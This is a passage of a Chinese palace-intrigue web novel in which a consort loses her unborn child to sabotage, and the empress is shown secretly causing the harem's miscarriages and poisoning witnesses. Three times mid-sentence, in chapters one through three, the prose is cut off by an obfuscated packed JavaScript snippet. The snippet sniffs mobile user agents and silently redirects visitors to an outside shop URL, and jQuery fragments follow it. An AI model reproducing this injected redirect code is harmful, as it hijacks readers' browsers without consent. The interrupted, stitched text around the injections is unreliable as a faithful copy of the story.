《霜花腴》 1. 第 1 章 大安五年,秋风如泣如诉,卷起皇宫内苑的落叶,似一层薄薄的血雾笼罩着金碧辉煌的殿宇。 永和宫内,烛火摇曳,映照着甄宜含那苍白如雪的脸庞。 她蜷缩在雕花楠木床上,锦被下那曾经微微隆起的小腹如今却平坦得有些令人心碎。 痛楚很快如潮水般涌来,不仅仅是身体,更触及到灵魂深处,仿佛要将她撕裂。 宜含紧紧闭着眼,脑海中反复回荡着那一声闷响——她的脚底一滑,世界天旋地转,然后是鲜血,温热的、粘稠的鲜血浸透了她的罗裙。 一个身着青色对襟的中年女子跪在床边,她是永和宫的掌事宫女,姓周,单名一个颐字。此时她的声音颤抖不止,恨不得能够以身代替自家娘娘受罪,“娘娘,您喝口参汤吧,奴婢算是求您了!” 周颐握着一只青花小碗,沿上还沾着几滴汤汁,散发着淡淡的药香。 宜含勉强睁开眼,她看着周颐,目光空洞而冰冷,声音寒冬般枯哑:“姑姑,别费心了。本宫的孩儿……没了……一切都没了……” 她是江南人,生得也如烟雨般温婉。 大安三年,天子南巡路上,年轻的帝王见到了在河边浣纱的她,当即许下无上荣宠的诺言。 天子姬阆高大英武,剑眉星目,是那么年轻,那么年富力强。她很快就沦陷了,主动跳进了那张精心为她编织好的牢笼。 入宫后,尽管姬阆不属于她一个人,可她仍然深爱着这个年轻的帝王。 凭借在那份温婉的气度,她俘获了帝王的宠爱,从美人,再到贵妃,她仅仅只走了两年。 年初的时候,宜含身怀有孕,姬阆同她畅想着未来,那时她只觉得自己是天下最幸福的女子。 然而,被幸福冲昏头的宜含忽视了背后的危机。姬阆继位数年,宫中不乏年轻貌美的嫔妃,却没有皇嗣诞生,她没有深思背后的原因。 宜含怀孕后,消息如春风拂面般传遍了后宫。在六个月的时候,她的胎动频繁,姬阆每每来时,都会俯身贴耳,轻声与腹中孩儿呢喃。 然而就在昨日,宜含漫步在御花园,呼吸着桂花的芬芳和甜美。 走到金明池旁时,脚下一滑,石阶仿佛有层油腻的薄膜,她狠狠向前方跌去。 在摔倒的那一瞬间,她本能地护住腹部,却只换来剧烈的疼痛和满地鲜血。 等宜含再次转醒的时候,孩子已经没有了。 周颐一手持碗,一手拿着调羹,伸手向宜含喂去,“娘娘,您还年轻,孩子还会再有的,您就当是为了自己,把汤喝了吧。” 宜含摇了摇头,她双眼噙泪,似乎想起了什么,不由问道:“万岁呢?” 周颐抿了抿唇,似有些不忍,可当她看到宜含那双眼睛时,还是不愿欺瞒:“万岁爷他……他在坤宁宫。” 宜含有些失望地垂下眼眸,“是我不好,都是我没护住我们的孩子。” 闻言,周颐思索再三后,还是咬牙抛出了一记重锤,狠狠落在宜含的心头:“娘娘,您昨儿失足,并非意外,乃是人为啊!在您失足后,奴婢和沉香她们悄悄去查过,金明池旁的石阶、路石都被人抹了油,是有人故意害您腹中的小皇子啊!” 宜含如雷灌顶,她目光呆滞,半晌后才不可置信道:“不……不会,怎么可能!” 周颐见宜含这般模样,心中如刀绞,她深吸一口气,压低声音道:“娘娘,您仔细想想,后宫中谁最忌惮您腹中的孩儿?万岁爷继位数年,至今膝下无子。后宫嫔妃虽多,却无一人能生下皇嗣。您……难道不觉的奇怪吗?” 宜含的泪水终于滑落,她强撑着坐起身子,声音颤抖:“姑姑,你是说……有人在宫中下毒手?可我从未树敌,谁又会如此狠毒?” 周颐将参汤搁在一旁,跪得更近了些,目光四下张望,确保无人偷听,方才低语:“奴婢和沉香事后去查了那石阶上的油渍,不是宫里寻常的灯油,而是猪脂似乎还混了些滑石粉,手段非常高明。” 她没有直接回答宜含的问题,只是将自己调查的结果全盘托出。 宜含闻言,脸色煞白如纸。 她仔细回想入宫这些年的人与事,不由胡乱猜测起来,贤妃?贞妃?禧嫔…… 这些人的名字一个接一个在她脑海中浮现。直到最后,万皇后的身影自她脑海中浮现而出。 万皇后生的端庄明艳,是姬阆自潜邸时就结发的元配,宠爱非凡。 不……不可能是万皇后。 宜含很快否定了自己的猜测,万皇后对她这个后来居上的贵妃虽不亲热,可明面上却从未刁难过,没有要害她的理由。 况且,自她有孕后,万皇后更是每日都派人问候,衣食住行无不关心。 宜含的心绪如秋叶般纷乱,她强撑着身子,纤细如玉的手指紧紧攥住锦被的边缘,仿佛那是她最后的依靠。 永和宫的烛火在风中摇曳,拉长了周颐跪地的身影,空气中弥漫着苦涩药味,却掩不住她心中那股冰冷的寒意。 “姑姑,你是说……这宫里,有人暗中操控一切?” 宜含的声音低得几乎听不见,她的目光在周颐脸上搜寻着答案。 贤妃她们的身影如鬼魅般在她脑海中盘旋,却又一个个被她否决。 她们虽然和她争夺姬阆的宠幸,但从未明里暗里对她下过手。 更何况,宫中规矩森严,谁敢在这样的地方行凶? 周颐犹豫片刻,终究还是点头:“娘娘,您仔细想想,万岁爷继位这些年,后宫佳丽三千,甭说是皇子,为何就连一个公主也没有?这些年也不止您一人怀孕之后滑胎了。去年贞妃也曾有喜,却在三个月时莫名小产,当时只说是体虚。可贞妃娘娘是农女出身,论身子骨,宫里怕是没几个人能赶上她。” 这就是说当初贞妃小产有蹊跷了。 她没有停下,反而继续道:“再早些年的时候,丽妃、景妃几位娘娘谁不是有过身子,可她们都无一例外落了胎。” 宜含的呼吸骤然急促,贞妃也就罢了,可景妃和丽妃都是宫里的老人了,她们都是姬阆继位后打头一批选秀进宫的。 如果就连她们都遭了毒手,答案也呼之欲出,同时指向了坤宁宫的万皇后! “是谁?究竟是谁有这样的本事,能在宫中一手遮天?” 宜含的泪水如断线珠子般滑落,她猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590337|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住周颐的袖子,“姑姑,你告诉我,是不是……皇后娘娘?可她又为何要害我!” 闻言,周颐的脸色瞬间煞白,她赶紧摇头,四下张望,确保殿门紧闭,并无人耳目:“娘娘慎言!皇后娘娘是万岁爷的发妻,德高望重,怎么会……奴婢不敢妄议。只是……只是娘娘不妨想一想,猪脂这样的东西,该是从什么地方流出来的!” 尚食局! 宜含脑子“嗡”地一声,似乎是明白了什么。 在宫里,猪脂油腻,继而大多是用以做点心糕饼的,并不会入菜。而各宫茶水间做点心,都要到尚食局领用。 想要将猪脂刷满金明池的台阶,需要的猪脂的量自然不少。就算是将各宫的茶水间都算到一起,也凑不够那么多,只有尚食局能够一次性提供那么多的猪脂。 而统领尚食局的郑尚食,正是万皇后去岁时才提拔的新人。 想到此处,宜含的心如坠冰窟。 她忆起万皇后那张端庄的脸庞,每次见面都带着温和的笑意,可在那样慈善的背后,似乎埋藏着无尽的恶意。 年初她刚怀孕时,万皇后又亲自赐下了安胎药,每日问候更是细致入微。 可如今想来,那些关切中又是否藏着刀子? “不,我不信……我不信……” 宜含喃喃自语,却又不由自主地回想起在御花园的场景。 金明池旁,人来人往,她为何偏偏在那时失足? 前一刻,她分明还看到一个鬼鬼祟祟的身影匆匆在旁边一闪而过。 周颐见宜含神色恍惚,赶紧劝道:“娘娘,您先养好身子。奴婢会继续调查,沉香她们也会盯着尚食局的。万岁爷已经下旨彻查此事了。只是……这宫里到底不比民间,您纵使是怀疑哪位主子娘娘,也千万别露了心声。” 她在心底也暗暗叹了口气,她到底在这吃人的宫里待了那么多年,许多人、许多事都看的比自家娘娘明白。 宫里没了那么多孩子,若说与万皇后没有丝毫干系,她是万不能相信的。可捉人拿脏,万事得讲究证据,总不能空口无凭。 当年肃妃的事儿,还历历在目。 肃妃是大安元年那一批选秀进宫的,进宫不过两个月就被诊出喜脉。然而不满三个月,肃妃莫名其妙没了孩子,之后不知是何缘故,肃妃突然攀扯是万皇后害了她的孩子。 那日,万皇后大怒,也不顾姬阆还在金殿内和群臣议事,带着肃妃就闯进去向姬阆讨要说法。姬阆在群臣面前丢了颜面,也跟着大发雷霆,下令彻查此事。 可最后什么都没查到,肃妃小产和任何人都不相干,纯粹就是因为她自个儿的缘故。 万皇后抓到了把柄,自是严惩了肃妃。 可怜肃妃刚没了孩子,又挨了万皇后的一顿板子。 在此之后,肃妃人也变的疯疯癫癫,现在都还在景阳宫里关着。 宜含点点头,却在心中暗下决心。 她不能就这样倒下,这个孩子,不能白白没了。她要找出真相,哪怕要付出她的一切,也在所不惜! 夜渐深,永和宫外秋风呜咽,如泣如诉。一场更大的风暴,似乎正在悄然酝酿。 2. 第 2 章 次日一早,就在太医还在为宜含诊脉的时候,姬阆带着万皇后到了她的永和宫。 见到姬阆的仪仗停在永和门外,宫人们跪了一地,周颐匆忙从月台走下来,跟着就叩头请安,开口解释道:“启禀万岁爷、皇后娘娘,林太医还在给贵妃娘娘请脉,请恕娘娘不能来迎驾之过。” 姬阆还未曾发话,万皇后却率先开了口:“免了,贵妃如今都这样了,本宫和万岁爷又不是苛刻的人。” 话音刚落,万皇后望了永和宫的正殿一眼,复又问了一句:“贵妃怎样了?” 闻言,周颐小心翼翼抬眼望了姬阆一眼,见他没有要开口的样子,声音有些沉重,“回娘娘的话,贵妃娘娘自从失了小皇子,日夜痛哭不已。太医说……说……说贵妃娘娘伤了身子,怕是……怕是以后都不能再有身孕了。” 周颐的话音落下,顿时一片死寂。 “好好的,怎的就出了这样的事!” 万皇后当下就皱了眉,声音有些不悦,可她的目光很快就来到周颐她们的身上:“可见是你们这些奴婢平日里疏忽了贵妃!若贵妃再有个什么好歹,就算是万岁爷愿意饶了你们,本宫也要摘了你们的项上人头!” 就在众人噤若寒蝉之际,姬阆的脸色瞬间阴沉下来,他剑眉紧锁,一双眸子中闪过一丝痛楚与愤怒,径直向内殿走去。 “朕要见宜含。” 姬阆的声音低沉,却带着不容置疑的威严。他挥手示意众人起身,万皇后紧随其后,她明黄的裙摆扫过青砖地面,发出细微的摩擦声。 周颐跪在地上,用她的余光悄悄望向万皇后,她端庄的脸上无悲无喜,让人看不出深浅。 此时林太医正在殿内,手中的银针尚未收回,听到殿门传来的声音,他不由自主地低下了头,不敢抬头直视天地两位至尊的身影。 宜含靠在床头,脸色苍白如纸,眼中还残留着泪痕,显然是才大哭过一场。 被告知以后都不能再生育,她悲痛欲绝,险些就没能撑过去,却没想到姬阆和万皇后这个时候会突然驾临。 她挣扎着想要起身行礼,却被姬阆快步上前,按住了肩膀:“爱妃,别动。你身子弱,好好躺着。” 万皇后紧跟其后也摆了摆手,“皇爷说的是,贵妃身子不适,这些虚礼就免了罢。” 宜含的眼眶瞬间红了,她抬头望着姬阆,那熟悉的英武面容如今带着几分疲惫与关切。她抽泣不止,声音含糊不清:“臣妾……臣妾有罪,没能护住我们的孩子……万岁,臣妾的孩子没了……” 姬阆握住她的手,掌心温暖,却掩不住他内心的波澜。 他摇头,轻声道:“朕不怪你,你养好身子后还要继续为朕生儿育女。” 话音刚落,他的目光转向一旁的林太医,声音转冷:“林太医,你说贵妃伤了身子,以后不能有孕,可有法子医治?” 看着缠绵悱恻的两人,万皇后凤眸中闪过一丝不悦,却很快掩去。 林太医叩头,声音颤抖:“回万岁爷的话,贵妃娘娘此次小产,伤及元气,苞宫亦有损伤。若是精心调养,或许还有一线希望,但……但需数年静养,且不可再受刺激。微臣……微臣会开些补气的方子。” 姬阆的目光黯淡下来,他是在宫里长大的,按着林太医的意思,甄贵妃大抵是不会再有子嗣了。 想到此处,他不由怜惜地轻抚着宜含的手,对下首的林太医吩咐道:“去配药罢,好生照顾贵妃。” “遵旨。” 林太医应了一声,而后对着三位主子深施一礼,背着药箱自顾退下。 万皇后站在一旁,将刚刚的对话听得很仔细,她叹了口气,上前一步握住了宜含的另一只手,柔声道:“妹妹,太医也说了,只要你好生养着,日后还是会有孩子的。本宫让郑尚食备了些滋补的汤药,一会儿就让人送过来。你还年轻,好好养着身子,万岁爷膝下空虚,本宫也心急如焚,就指望着你们为皇家开枝散叶了。” 宜含闻言,惨白的面上勉强挤出一丝笑意。她在低头时,目光不由自主地扫过万皇后的袖口,那袖子上绣着金凤凰,华贵异常。 她不由忆起周颐昨夜的话,那猪脂的来源,似乎与尚食局有关。郑尚食是万皇后一手提拔上来的人,那她…… 这个念头如毒蛇般在心头盘踞,让她不由打了个寒战。 “谢皇后娘娘关心。” 宜含的声音虚弱,却带着一丝试探,“只是……臣妾那日在御花园失足,石阶似乎异常顺滑,像是被抹了油渍一样。皇后娘娘,这会不会……是有人故意要害臣妾?” 万皇后闻言,眉头微皱,她瞪大了眼睛,似是很惊讶的样子:“妹妹是说有人要害你?本宫怎会不知?后宫中姐妹和睦,是谁敢行此歹毒之事?本宫定会严查宫人,若是有人胆敢在宫里害人,本宫和万岁爷容不得她!” 话音刚落,她眸光扫过众人,声音狠厉:“贵妃说的究竟是什么意思?出了这样的事为何没人来禀告本宫和万岁爷!” 周颐硬着头皮将那日和沉香的发现一五一十禀告给了万皇后,而后,她声音颤抖:“这只是奴婢们的猜测,奴婢们岂敢因胡乱揣测就扰了万岁爷和皇后娘娘的清净。” “清净?” 万皇后的声音陡然拔高几分,她的目光如利刃般看着周颐,厉声斥责道:“事关皇嗣,这么大的事!今儿若不是本宫跟万岁爷来了,岂不是还要被你们蒙在鼓里!” “你也是宫里的老人了,怎的如此不知轻重缓急!原是看你稳重妥当,本宫和万岁爷才把你放在贵妃身边。如今看来,永和宫你是不能再待了,就拨去浣衣局当差罢!” 浣衣局是什么地方? 那是宫里浆洗衣物的地儿,就算是寒冬腊月,双手也要泡在水里。一到了冬天,双手肿的跟猪蹄是常有的事。一般人谁又受得住这个罪,历来都是犯了大错的宫人才会被打发到浣衣局浆洗衣物。 “奴婢知罪,还请皇后娘娘看在奴婢们侍奉贵妃勤谨的份上,就饶了奴婢们罢……” 周颐她们头捣如蒜,很快额头就见了血。 姬阆没有发话,几个奴婢罢了,值不得他开口。 况且,皇后说的不错,不知轻重的奴婢留在贵妃身边只会是祸患。 宜含有些不忍,自她入宫后,周颐她们恭敬有加,算是她信得过的人,于是向万皇后求情道:“万岁爷、皇后娘娘,妾身知道皇后娘娘是替我想着,可周颐她们侍奉惯了妾身。若是贸然换了旁的人,该是妾身不习惯了。还请看在她们没有功劳也有苦劳的份上,就饶过她们这一回吧。” 闻言,周颐等人纷纷露出感激之色。 万皇后正欲开口驳斥,此时姬阆却突然发话了,他的声音不高不低:“既然是贵妃想留着她们,那便留着吧。只是此事不能就这么算了,就革了她们半年的银米,将功折罪罢!” “看在万岁爷的份上,本宫今儿就放你们一马,若是再伺候不好贵妃,本宫扒了你们的皮!” 万皇后冷哼一声,旋即又转头望向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万皇后的脸上仍然维持着体面,她本就没打算邀请姬阆去北海赏什么劳什子的桂花,如此也只不过是不想姬阆留在永和宫的狐媚子这里罢了。 事情也如同她所料想的一样,姬阆顾及着甄氏,既没有陪她去北海,也未曾留在永和宫。 姬阆又安抚了宜含几句,于是和万皇后一前一后出了永和宫。 随着帝后的离去,永和宫的殿门也跟着缓缓合上,留下一室的寂静。 宜含靠在床头,额头还残留着姬阆唇间的余温,痛苦和甜蜜两种情绪同时萦绕在她心头。 她的手指抚摸着锦被的边缘,脑海中反复回荡着方才的一幕幕。 万皇后关切的话语还历历在目,虽然无不透露出关切之意,但不知是不是怀疑使然,方才那些言语却让她心生寒意。 尤其是她无意间瞥到万皇后那道如刀刃般锋利的目光,绝对不是她的错觉! 周颐从殿外进来,身后跟着沉香等几名永和宫的宫人,她们的脸色苍白,额头上的血珠已经干涸,一道道醒目的疤痕映入宜含的眼帘。 她们跪在床前,周颐低声道:“娘娘,万岁爷和皇后娘娘已经走了。奴婢们……奴婢们方才将那油渍的事禀告了出去,也不知究竟是福还是祸。” 宜含坐起身子,声音虽弱,却带着一丝决然:“姑姑,这件事瞒不住,也不能瞒!就算是为我那未出世的孩儿,也要查下去!哪怕是要捅破了天!” 说到伤心处,宜含不由再次落下泪。 见此,周颐等人相视一眼,不由也跟着在心头一叹…… 3. 第 3 章 黑夜悄然降临,坤宁宫内,青铜兽鼎此时正燃着沉香,空气中弥漫着一片祥和、安定的气息。 “娘娘,东厂的人已经拿了小唐他们了,只怕就要查到彩兰的身上了,那咱们要不要……” 说话的是一个身着褐色宫装的妇人,她梳着矮髻,鬓边还簪着两支花钗,很是体面。在说到最后时,她伸手比了比脖颈。 她的语气有些着急,望着上首端坐在凤椅上的万皇后,继续添油加醋:“那些奴婢倒是死不足惜,只是若他们为了活命,攀扯出了娘娘,那奴婢们万死不能其咎了。” 万皇后端起茶盏浅浅抿了一口,抬眼微微瞥了下方的汪嬷嬷一眼,不以为意道:“又不是第一回了,你慌什么!” 汪嬷嬷的额头上尽数是细密的汗珠,她跪得更低了些,声音压得极低,再次劝:“娘娘恕罪,只是这次不同以往。这甄氏区区浣纱女出身,进宫两年就登上了贵妃之位,仅次于娘娘之下,咱们不得慎重啊!” “况且……” 汪嬷嬷话锋一转,“奴婢瞧着,万岁爷对甄氏,好像动了几分真心。” 闻言,万皇后将茶盏重重搁回几案上,那盏绘着花鸟的瓷器发出清脆的声响。 她凤眸微眯,唇角勾起一丝冷笑,声音突然拔高:“真心?” “他姬家的人,几时有过真心!” 万皇后声音骤冷,她站起身,“成庙时,我和他被囚禁在南苑,为了活命,要耕种,要纺纱织布。寒冬腊月还要洗衣,我的双手全是红肿的冻疮,痛痒难止。就连我的长哥儿,也是那时候没了的!” 说到自己早逝夭折的孩子,万皇后冰冷的眸中留下一滴清泪,“他姬阆许诺此生必不负我万妙贤!可他继位后,左一个妃子,又一个美人!那些狐媚子们一个又个爬上他的床。他曾经许下的誓言算什么?又何曾想过本宫的感受!” “那些贱婢,一个个想要爬上枝头做凤凰不成,还想要诞下皇嗣?简直白日做梦!本宫没有的,她们便别想有!永远都不能有!” 万皇后的话语如利刃般锋利,她缓步走到一面铜镜前,镜中映出她那张端庄却带着一丝疲惫的脸庞。 在镜框上,雕着龙凤呈祥的图案,象征着后宫中至尊无上的地位。可在她的眼中,却如牢笼一般冰冷。 汪嬷嬷闻言,不敢抬头,她深知这是万皇后的逆鳞,只低声劝道:“娘娘息怒,万岁爷对您仍是敬重有加。且看这些年,后宫之事不都由您一手操持?后宫那些妖精再得宠,又怎比得上娘娘中宫国母的尊贵。” “敬重?” 万皇后转过身,目光如炬盯住汪嬷嬷:“先帝篡了成庙的大位,他姬阆一脉不是顺位继承的。表面上对本宫再好,不过是顾着我糟糠之妻的身份,邀买人心罢了。” 此话一出,满殿死寂,宫女们跪了一地,汪嬷嬷更是被吓的满头大汗,“娘娘,这话不能乱说啊!若是旁人听见了,那……” 闻言,万皇后瞥了汪嬷嬷一眼,她缓步走到窗柩前。外面的夜色如墨,秋风卷起落叶,似有鬼魅在低语。 “齐王不是还在山东吗?只要他活着一日,那就时时刻刻在提醒天下人,他姬阆就不是顺位继承大位的!” …… 汪嬷嬷越听越害怕,她咽了口唾沫,却还是壮着胆子问:“娘娘,那我们……要不要先下手为强?彩兰她们几个的嘴巴若不严实,一旦东厂那些阉人用刑,只怕就什么都招了。奴婢的意思是,不如让她们永世闭嘴,也好绝了后患。” 万皇后凤眸中闪过一丝阴鸷。 她缓缓转过身,秋风缓缓渗入,吹得殿里的烛火摇曳不止。烛光映照在她的脸上,半明半暗,宛如一尊幽冷的雕像。 “闭嘴?” 万皇后重复了一句,细细琢磨起来,她的声音低沉,仿佛山野中的幽魂。 她走回凤椅前重新坐下,指尖轻轻叩击着扶手,那节奏像是在敲击着彩兰那些宫女们的命运。 “嬷嬷,你说的不错。那些贱婢的嘴,的确该闭上了。” 良久后,万皇后手中的动作停下,她的声音平静地如一池死水,决定了彩兰等人的生死。 “让郑尚食亲自去办这事。告诉她,手脚干净些,就说那些宫女染了风寒,需用些汤药调养。至于药里要加什么,她是尚食,想来比本宫应该更明白……” 汪嬷嬷闻言,松了一口气,她赶紧叩头:“奴婢遵旨,奴婢这就就去安排。” 话音落下,汪嬷嬷起身退下。 她的脚步匆忙,没有发出一丁点声音。 待汪嬷嬷离去后,万皇后将所有人遣退,她独自坐在凤椅上,目光不由转向一旁的铜镜,陈年旧事缓缓镜中浮现。 那是十数年前的旧事了…… 承平十九年,成庙膝下两位皇子先后病逝。迫于朝野上下压力,遂,下诏令梁王长子姬阆入宫,立为嗣子,于宫中教养。 七年后,成庙王淑妃有孕,于十月诞下一子。成庙大喜过望下,将尚在襁褓的皇九子立为齐王。 成庙有了亲子后,身为嗣子的姬阆,处境愈发尴尬、艰难。 终于,在齐王两岁时,姬阆被废为庶人,与家眷同被圈禁在南苑行宫。 被圈禁在南苑那年,姬阆尚未及冠,万皇后也刚才满十七。 他们从高高在上的储君和皇储妃,突然变成庶人。一举一动都要受到严密的监管,甚至随时都面临着生命危险,姬阆和万皇后惶惶不可终日。 南苑是世庙晚年时所修建的行宫,里面豢养着无数奇珍异兽,以此作为享乐之所。成庙继位后,因不喜奢靡,南苑由此废弃。 到了姬阆和万皇后来到南苑的时候,这里因年久失修,早已破旧不堪。 因为衣食短缺,他们不得不在南苑中开垦荒地,纺纱织布。 所幸本朝为防外戚干政,后妃皆是选自民间。万皇后和十指不沾阳春水的姬阆不同,她知道该如何耕地播种,知道如何织布成衣。 在万皇后的努力下,两人的日子虽然过得清贫,却也能靠着她用刺绣换取生活用品勉强度日。 一年后,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590339|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后有孕,虽然没有太医,也没有产婆。但所幸,她还是顺利地生下了两人的长子。 也是此时,姬阆向万皇后许下了承诺,承诺此生绝不负她,誓无异生子。 然而,那个孩子来的快,离开的也很快。因为南苑新来的宦官克扣衣食,仅仅是半年后,他就在严寒的冬夜中夭折了。 南苑的冬风如刀割般刺骨,万皇后抱着那个小小的身躯,哭得肝肠寸断。 那一刻,万皇后觉的整个世界都崩塌了,她的长哥儿,就这样没了。 从那以后,万皇后再未有孕。或许是那次生产伤了元气,或许是南苑的清贫生活让她身心俱疲,身体一日不如一日。 姬阆看在眼里,纵使心痛如斯,却也无计可施。 对于长子的离世,姬阆悲痛不已,泪水模糊了他的双眼,再也抑制不住心中的愧疚与无助。 在此之后,他决心摆脱这牢笼般的禁锢。 承平三十二年,成庙病重,朝中局势再次发生动荡。 就在藩王入京朝见时,终于给了姬阆机会,让他成功联系上亲生父亲梁王。 就在成庙重病缠身,缠绵病榻时,梁王趁机发动了政变,登基称帝,改元天顺。那场宫变血流成河,成庙气绝身亡,史称辛酉之变。 梁王继位后,立即将姬阆和万皇后放出来,恢复了两人所有名誉。他们再次高高在上,但那个孩子,却永远回不来了。 仅仅不到三年,天顺帝就驾崩了。 姬阆顺利继位,改元大安。 继位后,起初姬阆对万皇后也是百般宠爱,又为她重修了坤宁宫,将坤宁宫打造的金碧辉煌,如梦幻般美好。 并且,姬阆下旨追封他们夭折的长子为皇太子,谥“悼怀太子”,并在他们的万年吉壤旁修建坟冢。 万皇后表面上接受了这一切,可那个孩子的早逝,却如一道永不愈合的伤疤。 姬阆的誓言,最终也没能守住。 他继位不到一年,年轻貌美的女子就如潮水般涌入宫廷。 起初,姬阆还只是应付朝臣的压力,纳了几个妃子。可渐渐地,那些狐媚子们的娇嗔,让他忘记了南苑的苦难,忘记了那句“誓无异生子”的承诺。 万皇后看着姬阆夜夜流连在其他宫殿,心痛如刀绞。 她曾质问过姬阆,为什么背弃了他们的誓言?姬阆却以皇家需开枝散叶为由搪塞过去。 万皇后笑了,觉的自己在南苑数年的付出只是一个笑话。 她彻底明白了一个道理,那就是男人在登上权力巅峰后,只会剩下野心。 从那时起,万皇后利用自己的权势,掌控着整个后宫。她不允许有其他嫔妃怀孕,不允许她们生下孩子。 那些怀孕的妃子,无一例外小产滑胎。 不知过了多久,昏暗的殿宇中传来一道幽幽的女声:“姬阆,是你违背了我们的誓言!这是你的报应!我们都该一同坠入地狱……” 坤宁宫的烛火在风中微微颤动,仿佛也在畏惧殿中那道低沉的呢喃。 4. 第 4 章 次日清晨,永和宫内,宜含勉强用过了早膳。周颐端着一碗汤药侍立在侧。 宜含昨夜一宿未眠,脑海中反复回放着姬阆和万皇后来时的场景。 “姑姑,可有什么消息?” 宜含从周颐手中接过药碗,忽然开口道。 她的声音很轻,却带着一丝急切。 周颐闻言,低声回道:“娘娘,东厂的番子昨儿已抓了几个在御花园当值的宫人,眼下正在拷问着,想必不久之后就该有结果了。” 宜含点点头,将碗中的汤药一饮而尽。 就在这时,一个穿着蓝色宫装的年轻女子快步走了进来,她刚一进来,就扑通一声跪在宜含跟前。 “娘娘,不好了,昨儿东厂抓的宫人们,都已经死了……” 沉香低沉的声音缓缓在殿中响起,可就当她说完后,空气微微有些凝固,陷入一片沉寂。 宜含愣了愣,她手中的药碗倏地掉在地上,碎裂的瓷片四溅开来,在安静的大殿发出清脆的声响。 似乎是察觉到宜含的震惊,沉香紧跟着解释:“回娘娘,奴婢一早去了东厂,听我家那口子说,那些被关进东厂大牢的宫人们不知是什么缘故突然暴毙,待看守他们的人发现时,那些宫人的身子都僵了。” 沉香的对食是东厂的一名管事,消息自然是不会有假。 宜含的脸色瞬间煞白,她强撑着身子坐直,声音颤抖:“死了?怎么可能……东厂大牢戒备森严,怎么会突然暴毙?沉香,王洪可有说些什么?” 她口中的王洪,正是沉香的对食。 闻言,沉香低着头,额上渗出细密的汗珠,她长舒了口气,继续道:“娘娘,据说那些宫人昨夜还好好的,东厂的番子们拷问了半宿,倒也撬出了些口风,说是奉了御茶膳间的奉茶女官杨彩兰的命令。可谁知天还没亮,他们就一个个口吐白沫,七窍流血而亡。东厂的几位大人们都怀疑是中毒,可牢里送去的饭食和水都查过了,没什么异样。眼下,已经去请杨女官到东厂问话了。” 周颐闻言,也变了脸色,她赶紧上前扶住宜含,压低声音:“娘娘,这事透着蹊跷。东厂是什么地儿,谁能有本事在那儿下毒?再者,杨彩兰是万岁爷身边的人,她又怎么会……” 话音刚落,周颐似是想起了什么,紧跟着喃喃自语起来:“不……不对……” 见此,沉香和宜含皆是一愣。 半晌后,周颐忽是想起了什么,她面色微变,沉声道:“娘娘,奴婢想起来了。先帝成庙的时候,皇后娘娘还是皇储妃,杨彩兰那会儿似乎就是在东宫侍奉。后来先帝宪庙继位,杨彩兰才调去了御茶膳间的。” 闻言,宜含如遭雷击,她的目光在周颐脸上搜寻着答案,声音微颤:“姑姑,你是说……杨彩兰是皇后的人?那个……那些宫人暴毙,岂不是……灭口?” 此时,周颐的脸色凝重如霜,她有些后悔自己的口无遮拦。若是让自家娘娘怀疑上了皇后,那就真的没有活路了…… 她在宫中多年,其实很多事都明白。 万皇后是万岁爷的患难夫妻,又有年少结发的情分在。论分量,后宫所有娘娘加在一块儿都不够! 若是胆敢攀扯到皇后身上,且看肃妃的下场就知道了。 她早些时候将后宫多年无子的秘闻告诉宜含,是不想她这样单纯,没有一点心机和城府。但今时今日,她不忍心这个天真、良善的主子走了肃妃的老路。 就在宜含迟疑不定时,永和宫另一个宫女银环进来禀告收到的最新消息,她面容平静,声音无喜无悲:“娘娘,万岁爷身边的奉茶女官杨彩兰,自尽了……” 此言一出,殿内众人面色大变,齐齐转头望向她。 见众人的目光望向自己,银环微愣了一下,然后樱唇轻启:“今儿一早,万岁爷御茶膳间的杨女官投缳了。自尽前,还留下认罪书。言明谋害娘娘……以及皇嗣之事,都是……是她做的!” 宜含闻言,心头如坠冰窟,她的身子微微一颤,险些从床沿滑落。 周颐赶紧上前扶住她,沉香也顿时变了脸色,殿内空气仿佛凝固,陷入一片死寂。 “投缳?” “认罪书?” 宜含的声音颤抖得不成调子,她的目光死死盯住银环,仿佛要从她口中挖出更多真相,“银环,这消息你是从何处听来的?万岁爷那边……可有什么旨意?” 银环回过神来,赶紧跪下,声音清晰却带着一丝谨慎:“回娘娘的话,杨女官是御前的人,消息自然是瞒不住的,眼下只怕是阖宫都传遍了。据说是天还没亮,杨女官就悬了梁,身边留下的血书写明了是她嫉恨娘娘得宠,又嫉妒娘娘怀有龙裔。这才买通了尚食局的女史,从尚食局那里取了大量猪脂,在算准了娘娘那几日要去金明池赏桂后,才指使那些宫人在金明池的石阶上做了手脚。” 说到这里,银环顿了顿,“至于万岁爷,奴婢听说万岁爷在乾清宫和沈督主谈了许久,最后沈督主也以杨女官畏罪自杀结案了。” 